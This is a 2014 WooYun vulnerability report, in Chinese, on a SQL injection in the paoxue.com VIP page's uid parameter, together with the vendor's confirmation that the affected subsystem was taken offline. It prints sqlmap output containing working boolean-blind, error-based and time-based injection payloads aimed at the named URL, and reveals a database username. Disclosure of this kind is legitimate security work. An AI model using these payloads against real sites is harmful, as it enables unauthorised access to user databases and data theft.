当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070344

漏洞标题:泡学网存在SQL注入漏洞VIP用户资料泄露

相关厂商:paoxue.com

漏洞作者: mapleeve

提交时间:2014-08-03 15:58

修复时间:2014-08-03 16:23

公开时间:2014-08-03 16:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-03: 细节已通知厂商并且等待厂商处理中
2014-08-03: 厂商已经确认,细节仅向厂商公开
2014-08-03: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

其实我也是一个PUA,你有妹子了么

详细说明:

注入点:

http://paoxue.com/vip/trail.php?uid=-1 (GET)


1.png

漏洞证明:

2.png


3.png


sqlmap identified the following injection points with a total of 10660 HTTP(s) requests:
---
Place: GET
Parameter: uid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: uid=-1 RLIKE (SELECT (CASE WHEN (5516=5516) THEN 0x2d31 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause
Payload: uid=-8844 OR ROW(8651,6276)>(SELECT COUNT(*),CONCAT(0x7169747671,(SELECT (CASE WHEN (8651=8651) THEN 1 ELSE 0 END)),0x716c706a71,FLOOR(RAND(0)*2))x FROM (SELECT 1076 UNION SELECT 8937 UNION SELECT 5275 UNION SELECT 8627)a GROUP BY x)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: uid=-5855 OR 8895=SLEEP(5)
---
web application technology: PHP 5.3.3
back-end DBMS: MySQL 4.1
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: uid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: uid=-1 RLIKE (SELECT (CASE WHEN (5516=5516) THEN 0x2d31 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause
Payload: uid=-8844 OR ROW(8651,6276)>(SELECT COUNT(*),CONCAT(0x7169747671,(SELECT (CASE WHEN (8651=8651) THEN 1 ELSE 0 END)),0x716c706a71,FLOOR(RAND(0)*2))x FROM (SELECT 1076 UNION SELECT 8937 UNION SELECT 5275 UNION SELECT 8627)a GROUP BY x)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: uid=-5855 OR 8895=SLEEP(5)
---
web application technology: PHP 5.3.3
back-end DBMS: MySQL >= 5.0.0
database management system users [1]:
[*] 'crm'@'%'

修复方案:

添加过滤

版权声明:转载请注明来源 mapleeve@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-08-03 16:07

厂商回复:

经核实该漏洞确实存在,属于已废弃的子系统尚遗留在生产环境未做下线处理导致。因为生产环境前端已经部署WAF,实际上受影响范围有限,大部分危险查询已被拦截,所以最后折中考虑给RANK 8。 感谢您的泡学网信息安全做出的贡献,我们也会对研发团队加强安全相关的培训。 稍后有小礼物送上。

最新状态:

2014-08-03:已在生产环境完成下线处理。再次感谢